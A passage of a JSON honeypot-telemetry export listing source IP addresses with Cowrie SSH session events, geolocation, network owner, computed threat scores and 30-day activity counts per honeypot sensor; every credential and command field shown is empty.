      }
    },
    "134.199.158.149": {
      "attack_count": 4,
      "first_seen": "2026-03-28T01:03:32.352Z",
      "last_seen": "2026-03-30T20:48:05.046Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 55.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 7.5,
        "diversity": 18,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 9,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-23T11:42:04+00:00",
        "last_seen_30d": "2026-03-31T19:17:10.590000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Honeytrap": 9,
        "Cowrie": 4
      }
    },
    "147.185.132.180": {
      "attack_count": 4,
      "first_seen": "2026-03-09T16:46:47.274Z",
      "last_seen": "2026-03-09T16:46:50.153Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 30,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T04:45:44.636000+00:00",
        "last_seen_30d": "2026-03-31T06:00:02.297000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 90,
        "Honeytrap": 36,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "167.94.138.190": {
      "attack_count": 4,
      "first_seen": "2026-03-07T00:35:32.054Z",
      "last_seen": "2026-03-07T00:35:47.070Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 54.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.9,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 20,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T10:49:10+00:00",
        "last_seen_30d": "2026-03-21T14:52:03.718000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Honeytrap": 28,
        "ElasticPot": 8,
        "Cowrie": 4,
        "Dicompot": 1
      }
    },
    "178.20.208.185": {
      "attack_count": 4,
      "first_seen": "2026-03-14T15:51:12.985Z",
      "last_seen": "2026-03-14T19:27:52.756Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 216246,
      "as_org": "Aeza Group LLC",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 1.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 2,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-14T15:51:12.985000+00:00",
        "last_seen_30d": "2026-03-15T19:42:16.428000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 4,
        "Dionaea": 2
      }
    },
    "180.100.217.164": {
      "attack_count": 4,
      "first_seen": "2026-03-05T00:54:49.714Z",
      "last_seen": "2026-03-05T00:56:49.721Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T00:54:49.714000+00:00",
        "last_seen_30d": "2026-03-05T01:07:26.963000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "198.235.24.193": {
      "attack_count": 4,
      "first_seen": "2026-03-18T22:34:33.610Z",
      "last_seen": "2026-03-18T22:34:36.968Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 30,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T19:54:49.077000+00:00",
        "last_seen_30d": "2026-03-31T21:27:15.045000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 51,
        "Honeytrap": 20,
        "Cowrie": 4,
        "ConPot": 1,
        "Honeyaml": 1
      }
    },
    "204.236.215.24": {
      "attack_count": 4,
      "first_seen": "2026-03-03T01:03:43.367Z",
      "last_seen": "2026-03-03T01:03:48.682Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T01:03:43.367000+00:00",
        "last_seen_30d": "2026-03-03T01:04:51.448000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "220.71.241.197": {
      "attack_count": 4,
      "first_seen": "2026-03-10T12:54:54.465Z",
      "last_seen": "2026-03-20T04:53:35.177Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwangju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 40.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.0,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T12:54:54.465000+00:00",
        "last_seen_30d": "2026-03-31T14:02:26.902000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4
      }
    },
    "31.148.99.202": {
      "attack_count": 4,
      "first_seen": "2026-03-30T11:55:45.558Z",
      "last_seen": "2026-03-30T11:55:47.637Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Lviv",
      "asn": 212913,
      "as_org": "Time-host Ltd",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T11:55:45.558000+00:00",
        "last_seen_30d": "2026-03-30T11:56:57.159000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "52.87.243.125": {
      "attack_count": 4,
      "first_seen": "2026-03-04T00:48:50.545Z",
      "last_seen": "2026-03-04T00:48:58.772Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T00:48:50.545000+00:00",
        "last_seen_30d": "2026-03-04T00:50:02.637000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "61.155.110.210": {
      "attack_count": 4,
      "first_seen": "2026-03-15T00:10:11.861Z",
      "last_seen": "2026-03-20T18:30:57.528Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Yangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T00:10:11.861000+00:00",
        "last_seen_30d": "2026-03-20T18:32:00.797000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "65.49.1.151": {
      "attack_count": 4,
      "first_seen": "2026-03-22T13:43:48.674Z",
      "last_seen": "2026-03-22T13:43:52.712Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 78.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 29,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T12:48:40.442000+00:00",
        "last_seen_30d": "2026-03-30T11:36:43.851000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Honeytrap": 7,
        "Cowrie": 4,
        "ConPot": 3
      }
    },
    "66.132.195.98": {
      "attack_count": 4,
      "first_seen": "2026-03-24T19:31:17.357Z",
      "last_seen": "2026-03-24T19:31:32.357Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 49.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.2,
        "persistence": 5.0,
        "diversity": 8,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 6,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-24T06:33:12.440000+00:00",
        "last_seen_30d": "2026-03-29T23:48:56.215000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 4,
        "ElasticPot": 3,
        "ConPot": 2,
        "Honeytrap": 1
      }
    },
    "91.231.89.174": {
      "attack_count": 4,
      "first_seen": "2026-03-07T04:18:12.726Z",
      "last_seen": "2026-03-07T04:18:13.383Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 88.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 239,
        "days_active_30d": 30,
        "ports_targeted_30d": 76,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T01:52:54.115000+00:00",
        "last_seen_30d": "2026-03-31T23:05:56.691000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 185,
        "Honeytrap": 49,
        "Cowrie": 4,
        "H0neytr4p": 1
      }
    },
    "101.91.119.91": {
      "attack_count": 2,
      "first_seen": "2026-03-29T16:40:25.721Z",
      "last_seen": "2026-03-29T16:42:25.727Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T16:40:25.721000+00:00",
        "last_seen_30d": "2026-03-29T16:53:29.912000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "103.136.137.73": {
      "attack_count": 2,
      "first_seen": "2026-03-24T05:41:16.748Z",
      "last_seen": "2026-03-24T05:41:30.359Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 136336,
      "as_org": "Thamizhaga Internet Communications Private Limited",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T05:41:16.748000+00:00",
        "last_seen_30d": "2026-03-24T05:42:33.731000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.235.47.229": {
      "attack_count": 2,
      "first_seen": "2026-03-16T19:42:00.209Z",
      "last_seen": "2026-03-16T19:42:05.539Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9269,
      "as_org": "Hong Kong Broadband Network Ltd.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T19:42:00.209000+00:00",
        "last_seen_30d": "2026-03-16T19:43:09.077000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "112.161.6.146": {
      "attack_count": 2,
      "first_seen": "2026-03-28T01:52:25.425Z",
      "last_seen": "2026-03-28T01:52:25.664Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Goyang-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T01:52:25.425000+00:00",
        "last_seen_30d": "2026-03-28T01:53:29.279000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.167.235.44": {
      "attack_count": 2,
      "first_seen": "2026-03-29T09:12:34.511Z",
      "last_seen": "2026-03-29T09:12:48.148Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Cheongju-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T09:12:34.511000+00:00",
        "last_seen_30d": "2026-03-29T09:13:53.908000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.37.151.50": {
      "attack_count": 2,
      "first_seen": "2026-03-06T08:35:30.612Z",
      "last_seen": "2026-03-06T08:35:45.840Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T08:35:30.612000+00:00",
        "last_seen_30d": "2026-03-06T08:36:51.243000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.253.166.13": {
      "attack_count": 2,
      "first_seen": "2026-03-05T06:50:37.396Z",
      "last_seen": "2026-03-05T06:50:52.217Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Safidon",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T06:50:37.396000+00:00",
        "last_seen_30d": "2026-03-05T06:51:57.037000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.138.115.99": {
      "attack_count": 2,
      "first_seen": "2026-03-27T11:33:37.589Z",
      "last_seen": "2026-03-27T11:34:08.072Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T11:33:37.589000+00:00",
        "last_seen_30d": "2026-03-27T11:35:13.964000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "143.244.137.11": {
      "attack_count": 2,
      "first_seen": "2026-03-15T15:10:53.658Z",
      "last_seen": "2026-03-15T15:10:53.825Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T15:10:53.658000+00:00",
        "last_seen_30d": "2026-03-15T15:11:56.525000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "152.32.128.216": {
      "attack_count": 2,
      "first_seen": "2026-03-22T23:03:54.399Z",
      "last_seen": "2026-03-22T23:04:01.772Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T23:03:54.399000+00:00",
        "last_seen_30d": "2026-03-22T23:05:02.500000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "162.243.162.30": {
      "attack_count": 2,
      "first_seen": "2026-03-10T04:01:18.887Z",
      "last_seen": "2026-03-10T04:01:29.151Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T04:01:18.887000+00:00",
        "last_seen_30d": "2026-03-10T04:02:38.510000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "168.228.245.97": {
      "attack_count": 2,
      "first_seen": "2026-03-04T07:35:41.751Z",
      "last_seen": "2026-03-04T07:36:12.891Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Pimenta Bueno",
      "asn": 264937,
      "as_org": "TOPNET PROVEDOR E INFORMATICA LTDA",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T07:35:41.751000+00:00",
        "last_seen_30d": "2026-03-04T07:37:17.718000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "183.212.244.197": {
      "attack_count": 2,
      "first_seen": "2026-03-20T00:02:00.258Z",
      "last_seen": "2026-03-20T00:02:12.857Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T00:02:00.258000+00:00",
        "last_seen_30d": "2026-03-20T00:03:20.365000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "185.153.95.187": {
      "attack_count": 2,
      "first_seen": "2026-03-02T21:53:39.829Z",
      "last_seen": "2026-03-02T21:54:11.149Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Samara",
      "asn": 212600,
      "as_org": "LLC New Network",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T21:53:39.829000+00:00",
        "last_seen_30d": "2026-03-02T21:55:16.144000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "210.91.200.244": {
